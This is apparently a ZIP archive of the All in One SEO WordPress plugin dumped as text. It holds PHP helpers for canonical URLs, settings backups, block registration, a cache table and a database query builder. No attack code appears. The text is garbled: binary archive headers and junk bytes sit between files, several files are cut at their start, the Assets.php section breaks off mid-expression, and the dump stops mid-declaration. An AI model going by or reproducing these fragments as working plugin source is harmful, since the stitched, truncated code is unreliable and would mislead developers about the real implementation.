Block and Widget. * * @since 4.3.9 * * @param string $idBase The base ID of a widget created by extending WP_Widget. * @return bool Whether the legacy widget can be registered. */ public function canRegisterLegacyWidget( $idBase ) { global $wp_version; if ( version_compare( $wp_version, '5.8', '<' ) || is_active_widget( false, false, $idBase ) || aioseo()->standalone->pageBuilderIntegrations['elementor']->isPluginActive() ) { return true; } return false; } }PKÉ—[*yjX0X07all-in-one-seo-pack/app/Common/Traits/Helpers/WpUri.phpnu„[µü¤helpers->getPostId(); if ( $canonical ) { $url = wp_get_canonical_url( $objectId ); } if ( ! $url ) { // wp_get_canonical_url() returns false if the post isn't published. // Therefore, we must to fall back to the permalink if the post isn't published, e.g. draft post or attachment (inherit). $url = get_permalink( $objectId ); } } if ( $url ) { return $url; } global $wp, $wp_rewrite; // Permalink url without the query string. $url = user_trailingslashit( home_url( $wp->request ) ); // If permalinks are not being used we need to append the query string to the home url. if ( ! $wp_rewrite->using_permalinks() ) { $url = home_url( ! empty( $wp->query_string ) ? '?' . $wp->query_string : '' ); } return $url; } /** * Gets the canonical URL for the current page/post. * * @since 4.0.0 * * @return string $url The canonical URL. */ public function canonicalUrl() { static $url = null; if ( null !== $url ) { return $url; } if ( is_404() || is_search() ) { $url = apply_filters( 'aioseo_canonical_url', '' ); return $url; } $metaData = []; $post = $this->getPost(); if ( $post ) { $metaData = aioseo()->meta->metaData->getMetaData( $post ); } if ( is_category() || is_tag() || is_tax() ) { $metaData = aioseo()->meta->metaData->getMetaData( get_queried_object() ); } if ( $metaData && ! empty( $metaData->canonical_url ) ) { $url = apply_filters( 'aioseo_canonical_url', $this->makeUrlAbsolute( $metaData->canonical_url ) ); return $url; } $url = $this->getUrl( true ); $noPaginationForCanonical = aioseo()->options->searchAppearance->advanced->noPaginationForCanonical; $pageNumber = $this->getPageNumber(); if ( $noPaginationForCanonical ) { global $wp_rewrite; if ( 1 < $pageNumber ) { if ( $wp_rewrite->using_permalinks() ) { // Replace /page/3 and /page/3/. $url = preg_replace( "@(?<=/)page/$pageNumber(/|)$@", '', $url ); // Replace /3 and /3/. $url = preg_replace( "@(?<=/)$pageNumber(/|)$@", '', $url ); } else { // Replace /?page_id=457&paged=1 and /?page_id=457&page=1. $url = aioseo()->helpers->urlRemoveQueryParameter( $url, [ 'page', 'paged' ] ); } } // Comment pages. $url = preg_replace( '/(?<=\/)comment-page-\d+\/*(#comments)*$/', '', $url ); } $url = $this->maybeRemoveTrailingSlash( $url ); // Get rid of /amp at the end of the URL. if ( ! apply_filters( 'aioseo_disable_canonical_url_amp', false ) ) { $url = preg_replace( '/\/amp$/', '', $url ); $url = preg_replace( '/\/amp\/$/', '/', $url ); } $url = apply_filters( 'aioseo_canonical_url', $url ); return $url; } /** * Formats a given URL as an absolute URL if it is relative. * * @since 4.0.0 * * @param string $url The URL. * @return string $url The absolute URL. */ public function makeUrlAbsolute( $url ) { if ( 0 !== strpos( $url, 'http' ) && '/' !== $url ) { if ( 0 === strpos( $url, '//' ) ) { $scheme = wp_parse_url( home_url(), PHP_URL_SCHEME ); $url = $scheme . ':' . $url; } else { $url = home_url( $url ); } } return $url; } /** * Sanitizes a given domain. * * @since 4.0.0 * * @param string $domain The domain to sanitize. * @return mixed|string The sanitized domain. */ public function sanitizeDomain( $domain ) { $domain = trim( $domain ); $domain = strtolower( $domain ); if ( 0 === strpos( $domain, 'http://' ) ) { $domain = substr( $domain, 7 ); } elseif ( 0 === strpos( $domain, 'https://' ) ) { $domain = substr( $domain, 8 ); } $domain = untrailingslashit( $domain ); return $domain; } /** * Remove trailing slashes if not set in the permalink structure. * * @since 4.0.0 * * @param string $url The original URL. * @return string The adjusted URL. */ public function maybeRemoveTrailingSlash( $url ) { $permalinks = get_option( 'permalink_structure' ); if ( $permalinks && ( ! is_home() || ! is_front_page() ) ) { $trailing = substr( $permalinks, -1 ); if ( '/' !== $trailing ) { $url = untrailingslashit( $url ); } } // Don't slash urls with query args. if ( false !== strpos( $url, '?' ) ) { $url = untrailingslashit( $url ); } return $url; } /** * Removes image dimensions from the slug of a URL. * * @since 4.0.0 * * @param string $url The image URL. * @return string The formatted image URL. */ public function removeImageDimensions( $url ) { return $this->isValidAttachment( $url ) ? preg_replace( '#(-[0-9]*x[0-9]*|-scaled)#', '', $url ) : $url; } /** * Returns the URL for the WP content folder. * * @since 4.0.5 * * @return string The URL. */ public function getWpContentUrl() { $info = wp_get_upload_dir(); return isset( $info['baseurl'] ) ? $info['baseurl'] : ''; } /** * Retrieves a post by its given path. * Based on the built-in get_page_by_path() function, but only checks ancestry if the post type is actually hierarchical. * * @since 4.1.4 * * @param string $path The path. * @param string $output The output type. OBJECT, ARRAY_A, or ARRAY_N. * @param string|array $postType The post type(s) to check against. * @return object|false The post or false on failure. */ public function getPostByPath( $path, $output = OBJECT, $postType = 'page' ) { $lastChanged = wp_cache_get_last_changed( 'aioseo_posts_by_path' ); $hash = md5( $path . serialize( $postType ) ); $cacheKey = "get_page_by_path:$hash:$lastChanged"; $cached = wp_cache_get( $cacheKey, 'aioseo_posts_by_path' ); if ( false !== $cached ) { // Special case: '0' is a bad `$path`. if ( '0' === $cached || 0 === $cached ) { return false; } return get_post( $cached, $output ); } $path = rawurlencode( urldecode( $path ) ); $path = str_replace( '%2F', '/', $path ); $path = str_replace( '%20', ' ', $path ); $parts = explode( '/', trim( $path, '/' ) ); $reversedParts = array_reverse( $parts ); $postNames = "'" . implode( "','", $parts ) . "'"; $postTypes = is_array( $postType ) ? $postType : [ $postType, 'attachment' ]; $postTypes = "'" . implode( "','", $postTypes ) . "'"; $posts = aioseo()->core->db->start( 'posts' ) ->select( 'ID, post_name, post_parent, post_type' ) ->whereRaw( "post_name in ( $postNames )" ) ->whereRaw( "post_type in ( $postTypes )" ) ->run() ->result(); $foundId = 0; foreach ( $posts as $post ) { if ( $post->post_name === $reversedParts[0] ) { $count = 0; $p = $post; // Loop through the given path parts from right to left, ensuring each matches the post ancestry. while ( 0 !== (int) $p->post_parent && isset( $posts[ $p->post_parent ] ) ) { $count++; $parent = $posts[ $p->post_parent ]; if ( ! isset( $reversedParts[ $count ] ) || $parent->post_name !== $reversedParts[ $count ] ) { break; } $p = $parent; } if ( 0 === (int) $p->post_parent && ( ! is_post_type_hierarchical( $p->post_type ) || count( $reversedParts ) === $count + 1 ) && $p->post_name === $reversedParts[ $count ] ) { $foundId = $post->ID; if ( $post->post_type === $postType ) { break; } } } } // We cache misses as well as hits. wp_cache_set( $cacheKey, $foundId, 'aioseo_posts_by_path' ); return $foundId ? get_post( $foundId, $output ) : false; } /** * Validates a URL. * * @since 4.1.2 * * @param string $url The url. * @return bool Is it a valid/safe url. */ public function isUrl( $url ) { return esc_url_raw( $url ) === $url; } /** * Retrieves the parameters for a given URL. * * @since 4.1.5 * * @param string $url The url. * @return array The parameters. */ public function getParametersFromUrl( $url ) { $parsedUrl = wp_parse_url( wp_unslash( $url ) ); $parameters = []; if ( empty( $parsedUrl['query'] ) ) { return []; } wp_parse_str( $parsedUrl['query'], $parameters ); return $parameters; } /** * Adds a leading slash to an url. * * @since 4.1.8 * * @param string $url The url. * @return string The url with a leading slash. */ public function leadingSlashIt( $url ) { return '/' . ltrim( $url, '/' ); } /** * Returns the path from a permalink. * This function will help get the correct path from WP installations in subfolders. * * @since 4.1.8 * * @param string $permalink A permalink from get_permalink(). * @return string The path without the home_url(). */ public function getPermalinkPath( $permalink ) { return $this->leadingSlashIt( str_replace( get_home_url(), '', $permalink ) ); } /** * Changed if permalinks are different and the before wasn't * the site url (we don't want to redirect the site URL). * * @since 4.2.3 * * @param string $before The URL before the change. * @param string $after The URL after the change. * @return boolean True if the permalink has changed. */ public function hasPermalinkChanged( $before, $after ) { // Check it's not redirecting from the root. if ( $this->getHomePath() === $before || '/' === $before ) { return false; } // Are the URLs the same? return ( $before !== $after ); } /** * Retrieve the home path. * * @since 4.2.3 * * @return string The home path. */ public function getHomePath() { $path = wp_parse_url( get_home_url(), PHP_URL_PATH ); return $path ? trailingslashit( $path ) : '/'; } /** * Checks if the given URL is an internal URL for the current site. * * @since 4.2.6 * * @param string $urlToCheck The URL to check. * @return bool Whether the given URL is an internal one. */ public function isInternalUrl( $urlToCheck ) { $parsedHomeUrl = wp_parse_url( home_url() ); $parsedUrlToCheck = wp_parse_url( $urlToCheck ); return ! empty( $parsedHomeUrl['host'] ) && ! empty( $parsedUrlToCheck['host'] ) ? $parsedHomeUrl['host'] === $parsedUrlToCheck['host'] : false; } /** * Helper for the rest url. * * @since 4.4.9 * * @return string */ public function getRestUrl() { $restUrl = get_rest_url(); if ( aioseo()->helpers->isWpmlActive() ) { global $sitepress; // Replace the rest url 'all' language prefix so our rest calls don't fail. if ( is_object( $sitepress ) && method_exists( $sitepress, 'get_current_language' ) && method_exists( $sitepress, 'get_default_language' ) && 'all' === $sitepress->get_current_language() ) { $restUrl = str_replace( get_home_url( null, '/all/' ), get_home_url( null, '/' . $sitepress->get_default_language() . '/' ), $restUrl ); } } return $restUrl; } /** * Exclude the home path from a full path. * * @since 1.2.3 Moved from aioseo-redirects. * @version 4.5.8 * * @param string $path The original path. * @return string The path without WP's home path. */ public function excludeHomePath( $path ) { return preg_replace( '@^' . $this->getHomePath() . '@', '/', $path ); } }PKÉ—[é"-Ó68680all-in-one-seo-pack/app/Common/Traits/Assets.phpnu„[µü¤jsPreloadImports( $asset ); $this->loadCss( $asset ); $this->enqueueJs( $asset, $dependencies, $data, $objectName ); } /** * Filter the script loader tag if this is our script. * * @since 4.1.9 * * @param string $tag The tag that is going to be output. * @param string $handle The handle for the script. * @return string The modified tag. */ public function scriptLoaderTag( $tag, $handle = '', $src = '' ) { if ( $this->skipModuleTag( $handle ) ) { return $tag; } $tag = str_replace( $src, $this->normalizeAssetsHost( $src ), $tag ); // Remove the type and re-add it as module. $tag = preg_replace( '/type=[\'"].*?[\'"]/', '', $tag ); $tag = preg_replace( '/', $this->getDevUrl() ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } }PKÉ—[æ€üü/all-in-one-seo-pack/app/Common/Utils/Backup.phpnu„[µü¤optionsName ), true ); if ( empty( $backups ) ) { $backups = []; } return $backups; } /** * Creates a backup of the settings state. * * @since 4.0.0 * * @return void */ public function create() { $backupTime = time(); $options = $this->getOptions(); update_option( $this->optionsName . '_' . $backupTime, wp_json_encode( $options ) ); $backups = $this->all(); $backups[] = $backupTime; update_option( $this->optionsName, wp_json_encode( $backups ) ); } /** * Deletes a backup of the settings. * * @since 4.0.0 * * @return void */ public function delete( $backupTime ) { delete_option( $this->optionsName . '_' . $backupTime ); $backups = $this->all(); foreach ( $backups as $key => $backup ) { if ( $backup === $backupTime ) { unset( $backups[ $key ] ); } } update_option( $this->optionsName, wp_json_encode( array_values( $backups ) ) ); } /** * Restores a backup of the settings. * * @since 4.0.0 * * @return void */ public function restore( $backupTime ) { $backup = json_decode( get_option( $this->optionsName . '_' . $backupTime ), true ); aioseo()->options->sanitizeAndSave( $backup['options'] ); aioseo()->internalOptions->sanitizeAndSave( $backup['internalOptions'] ); } /** * Get the options to save. * * @since 4.0.0 * * @return array An array of options to save. */ private function getOptions() { return [ 'options' => aioseo()->options->all(), 'internalOptions' => aioseo()->internalOptions->all() ]; } }PKÉ—[ù_ȉoo/all-in-one-seo-pack/app/Common/Utils/Blocks.phpnu„[µü¤isBlockEditorActive() ) { return false; } // Check if the block requires a minimum WP version. if ( ! empty( $args['wp_min_version'] ) && version_compare( $wp_version, $args['wp_min_version'], '>' ) ) { return false; } // Checking whether block is registered to ensure it isn't registered twice. if ( $this->isRegistered( $slug ) ) { return false; } $defaults = [ 'render_callback' => null, 'editor_script' => aioseo()->core->assets->jsHandle( 'src/vue/standalone/blocks/main.js' ), 'editor_style' => aioseo()->core->assets->cssHandle( 'src/vue/assets/scss/blocks-editor.scss' ), 'attributes' => null, 'supports' => null ]; $args = wp_parse_args( $args, $defaults ); return register_block_type( $slug, $args ); } /** * Registers Gutenberg editor assets. * * @since 4.2.1 * * @return void */ public function registerBlockEditorAssets() { $postSettingJsAsset = 'src/vue/standalone/post-settings/main.js'; if ( aioseo()->helpers->isScreenBase( 'widgets' ) || aioseo()->helpers->isScreenBase( 'customize' ) ) { /** * Make sure the post settings JS asset is registered before adding it as a dependency below. * This is needed because this asset is not loaded on widgets and customizer screens, * {@see \AIOSEO\Plugin\Common\Admin\PostSettings::enqueuePostSettingsAssets}. * */ aioseo()->core->assets->load( $postSettingJsAsset, [], aioseo()->helpers->getVueData() ); } aioseo()->core->assets->loadCss( 'src/vue/standalone/blocks/main.js' ); $dependencies = [ 'wp-annotations', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-data', 'wp-url', 'wp-polyfill', aioseo()->core->assets->jsHandle( $postSettingJsAsset ) ]; aioseo()->core->assets->enqueueJs( 'src/vue/standalone/blocks/main.js', $dependencies ); aioseo()->core->assets->registerCss( 'src/vue/assets/scss/blocks-editor.scss' ); } /** * Check if a block is already registered. * * @since 4.2.1 * * @param string $slug Name of block to check. * * @return bool */ public function isRegistered( $slug ) { if ( ! class_exists( 'WP_Block_Type_Registry' ) ) { return false; } return \WP_Block_Type_Registry::get_instance()->is_registered( $slug ); } /** * Helper function to determine if we're rendering the block inside Gutenberg. * * @since 4.1.1 * * @return bool In gutenberg. */ public function isGBEditor() { return defined( 'REST_REQUEST' ) && REST_REQUEST && ! empty( $_REQUEST['context'] ) && 'edit' === $_REQUEST['context']; // phpcs:ignore HM.Security.NonceVerification.Recommended } /** * Helper function to determine if we can register blocks. * * @since 4.1.1 * * @return bool Can register block. */ public function isBlockEditorActive() { return function_exists( 'register_block_type' ); } }PKÉ—[¼\MRR.all-in-one-seo-pack/app/Common/Utils/Cache.phpnu„[µü¤prepareKey( $key ); if ( isset( self::$cache[ $key ] ) ) { return self::$cache[ $key ]; } // Are we searching for a group of keys? $isLikeGet = preg_match( '/%/', $key ); $result = aioseo()->core->db ->start( $this->table ) ->select( '`key`, `value`' ) ->whereRaw( '( `expiration` IS NULL OR `expiration` > \'' . aioseo()->helpers->timeToMysql( time() ) . '\' )' ); $isLikeGet ? $result->whereRaw( '`key` LIKE \'' . $key . '\'' ) : $result->where( 'key', $key ); $result->output( ARRAY_A )->run(); // If we have nothing in the cache let's return a hard null. $values = $result->nullSet() ? null : $result->result(); // If we have something let's normalize it. if ( $values ) { foreach ( $values as &$value ) { $value['value'] = maybe_unserialize( $value['value'] ); } // Return only the single cache value. if ( ! $isLikeGet ) { $values = $values[0]['value']; } } // Return values without a static cache. // This is here because clearing the like cache is not simple. if ( $isLikeGet ) { return $values; } self::$cache[ $key ] = $values; return self::$cache[ $key ]; } /** * Updates the given cache or creates it if it doesn't exist. * * @since 4.1.5 * * @param string $key The cache key name. * @param mixed $value The value. * @param int $expiration The expiration time in seconds. Defaults to 24 hours. 0 to no expiration. * @return void */ public function update( $key, $value, $expiration = DAY_IN_SECONDS ) { // If the value is null we'll convert it and give it a shorter expiration. if ( null === $value ) { $value = false; $expiration = 10 * MINUTE_IN_SECONDS; } $value = serialize( $value ); $expiration = 0 < $expiration ? aioseo()->helpers->timeToMysql( time() + $expiration ) : null; aioseo()->core->db->insert( $this->table ) ->set( [ 'key' => $this->prepareKey( $key ), 'value' => $value, 'expiration' => $expiration, 'created' => aioseo()->helpers->timeToMysql( time() ), 'updated' => aioseo()->helpers->timeToMysql( time() ) ] ) ->onDuplicate( [ 'value' => $value, 'expiration' => $expiration, 'updated' => aioseo()->helpers->timeToMysql( time() ) ] ) ->run(); $this->clearStatic( $key ); } /** * Deletes the given cache key. * * @since 4.1.5 * * @param string $key The cache key. * @return void */ public function delete( $key ) { $key = $this->prepareKey( $key ); aioseo()->core->db->delete( $this->table ) ->where( 'key', $key ) ->run(); $this->clearStatic( $key ); } /** * Prepares the key before using the cache. * * @since 4.1.5 * * @param string $key The key to prepare. * @return string The prepared key. */ private function prepareKey( $key ) { $key = trim( $key ); $key = $this->prefix && 0 !== strpos( $key, $this->prefix ) ? $this->prefix . $key : $key; if ( aioseo()->helpers->isDev() && 80 < mb_strlen( $key, 'UTF-8' ) ) { throw new \Exception( 'You are using a cache key that is too large, shorten your key and try again: [' . esc_html( $key ) . ']' ); } return $key; } /** * Clears all of our cache. * * @since 4.1.5 * * @return void */ public function clear() { if ( $this->prefix ) { $this->clearPrefix( '' ); return; } // If we find the activation redirect, we'll need to reset it after clearing. $activationRedirect = $this->get( 'activation_redirect' ); aioseo()->core->db->truncate( $this->table )->run(); $this->clearStatic(); if ( $activationRedirect ) { $this->update( 'activation_redirect', $activationRedirect, 30 ); } // Bust the tableExists and columnExists cache. aioseo()->internalOptions->database->installedTables = ''; } /** * Clears all of our cache under a certain prefix. * * @since 4.1.5 * * @param string $prefix A prefix to clear or empty to clear everything. * @return void */ public function clearPrefix( $prefix ) { $prefix = $this->prepareKey( $prefix ); aioseo()->core->db->delete( $this->table ) ->whereRaw( "`key` LIKE '$prefix%'" ) ->run(); $this->clearStaticPrefix( $prefix ); } /** * Clears all of our static in-memory cache of a prefix. * * @since 4.1.5 * * @param string $prefix A prefix to clear. * @return void */ private function clearStaticPrefix( $prefix ) { $prefix = $this->prepareKey( $prefix ); foreach ( array_keys( self::$cache ) as $key ) { if ( 0 === strpos( $key, $prefix ) ) { unset( self::$cache[ $key ] ); } } } /** * Clears all of our static in-memory cache. * * @since 4.1.5 * * @param string $key A key to clear. * @return void */ private function clearStatic( $key = null ) { if ( empty( $key ) ) { self::$cache = []; return; } unset( self::$cache[ $this->prepareKey( $key ) ] ); } /** * Returns the cache table name. * * @since 4.1.5 * * @return string */ public function getTableName() { return $this->table; } }PKÉ—[n˜n-<<3all-in-one-seo-pack/app/Common/Utils/CachePrune.phpnu„[µü¤pruneAction, [ $this, 'prune' ] ); add_action( $this->optionCacheCleanAction, [ $this, 'optionCacheClean' ] ); if ( ! is_admin() ) { return; } if ( ! aioseo()->actionScheduler->isScheduled( $this->pruneAction ) ) { aioseo()->actionScheduler->scheduleRecurrent( $this->pruneAction, 0, DAY_IN_SECONDS ); } } /** * Prunes our expired cache. * * @since 4.1.5 * * @return void */ public function prune() { aioseo()->core->db->delete( aioseo()->core->cache->getTableName() ) ->whereRaw( '( `expiration` IS NOT NULL AND expiration <= \'' . aioseo()->helpers->timeToMysql( time() ) . '\' )' ) ->run(); } /** * Cleans our old options cache. * * @since 4.1.5 * * @return void */ public function optionCacheClean() { $optionCache = aioseo()->core->db->delete( aioseo()->core->db->db->options, true ) ->whereRaw( "option_name LIKE '\_aioseo\_cache\_%'" ) ->limit( 10000 ) ->run(); // Schedule a new run if we're not done cleaning. if ( 0 !== $optionCache->db->rows_affected ) { aioseo()->actionScheduler->scheduleSingle( $this->optionCacheCleanAction, MINUTE_IN_SECONDS, [], true ); } } /** * Returns the action name for the old cache clean. * * @since 4.1.5 * * @return string */ public function getOptionCacheCleanAction() { return $this->optionCacheCleanAction; } }PKÉ—[ì±öu¯¬¯¬1all-in-one-seo-pack/app/Common/Utils/Database.phpnu„[µü¤db = $wpdb; $this->prefix = $wpdb->prefix; $this->escapeOptions = self::ESCAPE_STRIP_HTML | self::ESCAPE_QUOTE; } /** * If this is a clone, lets reset all the data. * * @since 4.0.0 */ public function __clone() { // We need to reset the result separately as well since it is not in the default array. $this->reset( [ 'result' ] ); $this->reset(); } /** * Gets all AIOSEO installed tables. * * @since 4.0.0 * * @return array An array of custom AIOSEO tables. */ public function getInstalledTables() { $results = $this->db->get_results( 'SHOW TABLES', 'ARRAY_N' ); return ! empty( $results ) ? wp_list_pluck( $results, 0 ) : []; } /** * Get all the database info such as data size, index size, table list. * * @since 4.4.5 * * @return array An array of the database info. */ public function getDatabaseInfo() { $tables = []; $databaseSize = []; if ( defined( 'DB_NAME' ) ) { $databaseTableInformation = $this->db->get_results( $this->db->prepare( "SELECT table_name AS 'name', table_collation AS 'collation', engine AS 'engine', round( ( data_length / 1024 / 1024 ), 2 ) 'data', round( ( index_length / 1024 / 1024 ), 2 ) 'index' FROM information_schema.TABLES WHERE table_schema = %s ORDER BY name ASC;", DB_NAME ) ); $databaseSize = [ 'data' => 0, 'index' => 0, ]; $siteTablesPrefix = $this->db->get_blog_prefix( get_current_blog_id() ); $globalTables = $this->db->tables( 'global', true ); foreach ( $databaseTableInformation as $table ) { // Only include tables matching the prefix of the current site, this is to prevent displaying all tables on a MS install not relating to the current. if ( is_multisite() && 0 !== strpos( $table->name, $siteTablesPrefix ) && ! in_array( $table->name, $globalTables, true ) ) { continue; } $tableType = ( 0 === strpos( $table->name, aioseo()->core->db->prefix . 'aioseo' ) ) ? 'aioseo' : 'other'; $tables[ $tableType ][ $table->name ] = [ 'data' => $table->data, 'index' => $table->index, 'engine' => $table->engine, 'collation' => $table->collation ]; $databaseSize['data'] += $table->data; $databaseSize['index'] += $table->index; } } return [ 'tables' => $tables, 'size' => $databaseSize, ]; } /** * Gets all columns from a table. * * @since 4.0.0 * * @param string $table The name of the table to lookup columns for. * @return array An array of custom AIOSEO tables. */ public function getColumns( $table ) { $installedTables = json_decode( aioseo()->internalOptions->database->installedTables, true ); $table = $this->prefix . $table; if ( ! isset( $installedTables[ $table ] ) ) { return []; } if ( empty( $installedTables[ $table ] ) ) { $installedTables[ $table ] = $this->db->get_col( 'SHOW COLUMNS FROM `' . $table . '`' ); aioseo()->internalOptions->database->installedTables = wp_json_encode( $installedTables ); } return $installedTables[ $table ]; } /** * Checks if a table exists. * * @since 4.0.0 * * @param string $table The name of the table. * @return bool Whether or not the table exists. */ public function tableExists( $table ) { $table = $this->prefix . $table; $installedTables = json_decode( aioseo()->internalOptions->database->installedTables, true ) ?: []; if ( isset( $installedTables[ $table ] ) ) { return true; } $results = $this->db->get_results( "SHOW TABLES LIKE '" . $table . "'" ); if ( empty( $results ) ) { return false; } $installedTables[ $table ] = []; aioseo()->internalOptions->database->installedTables = wp_json_encode( $installedTables ); return true; } /** * Checks if a column exists on a given table. * * @since 4.0.5 * * @param string $table The name of the table. * @param string $column The name of the column. * @return bool Whether or not the column exists. */ public function columnExists( $table, $column ) { if ( ! $this->tableExists( $table ) ) { return false; } $columns = $this->getColumns( $table ); return in_array( $column, $columns, true ); } /** * Gets the size of a table in bytes. * * @since 4.1.0 * * @param string $table The table to check. * @return int The size of the table in bytes. */ public function getTableSize( $table ) { $this->db->query( 'ANALYZE TABLE ' . $this->prefix . $table ); $results = $this->db->get_results( ' SELECT TABLE_NAME AS `table`, ROUND(SUM(DATA_LENGTH + INDEX_LENGTH)) AS `size` FROM information_schema.TABLES WHERE TABLE_SCHEMA = "' . $this->db->dbname . '" AND TABLE_NAME = "' . $this->prefix . $table . '" ORDER BY (DATA_LENGTH + INDEX_LENGTH) DESC; ' ); return ! empty( $results ) ? $results[0]->size : 0; } /** * The query string in all its glory. * * @since 4.0.0 * * @return string The actual query string. */ public function __toString() { switch ( strtoupper( $this->statement ) ) { case 'INSERT': $insert = 'INSERT '; if ( $this->ignore ) { $insert .= 'IGNORE '; } $insert .= 'INTO ' . $this->table; $clauses = []; $clauses[] = $insert; $clauses[] = 'SET ' . implode( ', ', $this->set ); if ( ! empty( $this->onDuplicate ) ) { $clauses[] = 'ON DUPLICATE KEY UPDATE ' . implode( ', ', $this->onDuplicate ); } break; case 'REPLACE': $clauses = []; $clauses[] = "REPLACE INTO $this->table"; $clauses[] = 'SET ' . implode( ', ', $this->set ); break; case 'UPDATE': $clauses = []; $clauses[] = "UPDATE $this->table"; if ( count( $this->join ) > 0 ) { foreach ( (array) $this->join as $join ) { if ( is_array( $join[1] ) ) { $join_on = []; foreach ( (array) $join[1] as $left => $right ) { $join_on[] = "$this->table.`$left` = `{$join[0]}`.`$right`"; } $clauses[] = "\t" . ( ( 'LEFT' === $join[2] || 'RIGHT' === $join[2] ) ? $join[2] . ' JOIN ' : 'JOIN ' ) . $join[0] . ' ON ' . implode( ' AND ', $join_on ); } else { $clauses[] = "\t" . ( ( 'LEFT' === $join[2] || 'RIGHT' === $join[2] ) ? $join[2] . ' JOIN ' : 'JOIN ' ) . "{$join[0]} ON {$join[1]}"; } } } $clauses[] = 'SET ' . implode( ', ', $this->set ); if ( count( $this->where ) > 0 ) { $clauses[] = "WHERE 1 = 1 AND\n\t" . implode( "\n\tAND ", $this->where ); } if ( count( $this->order ) > 0 ) { $clauses[] = 'ORDER BY ' . implode( ', ', $this->order ); } if ( $this->limit ) { $clauses[] = 'LIMIT ' . $this->limit; } break; case 'TRUNCATE': $clauses = []; $clauses[] = "TRUNCATE TABLE $this->table"; break; case 'DELETE': $clauses = []; $clauses[] = "DELETE FROM $this->table"; if ( count( $this->where ) > 0 ) { $clauses[] = "WHERE 1 = 1 AND\n\t" . implode( "\n\tAND ", $this->where ); } if ( count( $this->order ) > 0 ) { $clauses[] = 'ORDER BY ' . implode( ', ', $this->order ); } if ( $this->limit ) { $clauses[] = 'LIMIT ' . $this->limit; } break; case 'SELECT': case 'SELECT DISTINCT': default: // Select fields. $clauses = []; $distinct = ( $this->distinct || stripos( $this->statement, 'DISTINCT' ) !== false ) ? 'DISTINCT ' : ''; $select = ( count( $this->select ) > 0 ) ? implode( ",\n\t", $this->select ) : '*'; $clauses[] = "SELECT {$distinct}\n\t{$select}"; // Select table. $clauses[] = "FROM $this->table"; // Select joins. if ( ! empty( $this->join ) && count( $this->join ) > 0 ) { foreach ( (array) $this->join as $join ) { if ( is_array( $join[1] ) ) { $join_on = []; foreach ( (array) $join[1] as $left => $right ) { $join_on[] = "$this->table.`$left` = `{$join[0]}`.`$right`"; } $clauses[] = "\t" . ( ( 'LEFT' === $join[2] || 'RIGHT' === $join[2] ) ? $join[2] . ' JOIN ' : 'JOIN ' ) . $join[0] . ' ON ' . implode( ' AND ', $join_on ); } else { $clauses[] = "\t" . ( ( 'LEFT' === $join[2] || 'RIGHT' === $join[2] ) ? $join[2] . ' JOIN ' : 'JOIN ' ) . "{$join[0]} ON {$join[1]}"; } } } // Select conditions. if ( count( $this->where ) > 0 ) { $clauses[] = "WHERE 1 = 1 AND\n\t" . implode( "\n\tAND ", $this->where ); } // Union queries. if ( count( $this->union ) > 0 ) { foreach ( $this->union as $union ) { $keyword = ( $union[1] ) ? 'UNION' : 'UNION ALL'; $clauses[] = "\n$keyword\n\n$union[0]"; } $clauses[] = ''; } // Select groups. if ( count( $this->group ) > 0 ) { $clauses[] = 'GROUP BY ' . implode( ', ', $this->escapeColNames( $this->group ) ); } // Select order. if ( count( $this->order ) > 0 ) { $orderFragments = []; foreach ( $this->escapeColNames( $this->order ) as $col ) { $orderFragments[] = ( preg_match( '/ (ASC|DESC|RAND\(\))$/i', $col ) ) ? $col : "$col $this->orderDirection"; } $clauses[] = 'ORDER BY ' . implode( ', ', $orderFragments ); } // Select limit. if ( $this->limit ) { $clauses[] = 'LIMIT ' . $this->limit; } break; } // @HACK for wpdb::prepare. $clauses[] = '/* %d = %d */'; $this->query = str_replace( '%%d = %%d', '%d = %d', str_replace( '%', '%%', implode( "\n", $clauses ) ) ); // Flag queries with double quotes down, but not if the double quotes are contained within a string value (like JSON). if ( aioseo()->isDev && preg_match( '/\{[^}]*\}(*SKIP)(*FAIL)|\[[^]]*\](*SKIP)(*FAIL)|\'[^\']*\'(*SKIP)(*FAIL)|\\"(*SKIP)(*FAIL)|"/i', $this->query ) ) { error_log( "Query with double quotes detected - this may cause isues when ANSI_QUOTES is enabled:\r\n" . $this->query . "\r\n" . wp_debug_backtrace_summary() ); } $this->lastQuery = $this->query; return $this->query; } /** * Shortcut method to return the query string. * * @since 4.0.0 * * @return string The query string. */ public function query() { return $this->__toString(); } /** * Start a new Database Query. * * @since 4.0.0 * * @param string $table The name of the table without the WordPress prefix unless includes_prefix is true. * @param bool $includesPrefix This determines if the table name includes the WordPress prefix or not. * @param string $statement The MySQL statement for the query. * @return Database Returns the Database class which can then be method chained for building the query. */ public function start( $table = '', $includesPrefix = false, $statement = 'SELECT' ) { // Always reset everything when starting a new query. $this->reset(); $this->table = $includesPrefix ? $table : $this->prefix . $table; $this->statement = $statement; return $this; } /** * Shortcut method for start with INSERT as the statement. * * @since 4.0.0 * * @param string $table The name of the table without the WordPress prefix unless includes_prefix is true. * @param bool $includesPrefix This determines if the table name includes the WordPress prefix or not. * @return Database Returns the Database class which can then be method chained for building the query. */ public function insert( $table = '', $includesPrefix = false ) { return $this->start( $table, $includesPrefix, 'INSERT' ); } /** * Shortcut method for start with INSERT IGNORE as the statement. * * @since 4.1.6 * * @param string $table The name of the table without the WordPress prefix unless includes_prefix is true. * @param bool $includesPrefix This determines if the table name includes the WordPress prefix or not. * @return Database Returns the Database class which can then be method chained for building the query. */ public function insertIgnore( $table = '', $includesPrefix = false ) { $this->ignore = true; return $this->start( $table, $includesPrefix, 'INSERT' ); } /** * Shortcut method for start with UPDATE as the statement. * * @since 4.0.0 * * @param string $table The name of the table without the WordPress prefix unless includes_prefix is true. * @param bool $includesPrefix This determines if the table name includes the WordPress prefix or not. * @return Database Returns the Database class which can then be method chained for building the query. */ public function update( $table = '', $includesPrefix = false ) { return $this->start( $table, $includesPrefix, 'UPDATE' ); } /** * Shortcut method for start with REPLACE as the statement. * * @since 4.0.0 * * @param string $table The name of the table without the WordPress prefix unless includes_prefix is true. * @param bool $includesPrefix This determines if the table name includes the WordPress prefix or not. * @return Database Returns the Database class which can then be method chained for building the query. */ public function replace( $table = '', $includesPrefix = false ) { return $this->start( $table, $includesPrefix, 'REPLACE' ); } /** * Shortcut method for start with TRUNCATE as the statement. * * @since 4.0.0 * * @param string $table The name of the table without the WordPress prefix unless includes_prefix is true. * @param bool $includesPrefix This determines if the table name includes the WordPress prefix or not. * @return Database Returns the Database class which can then be method chained for building the query. */ public 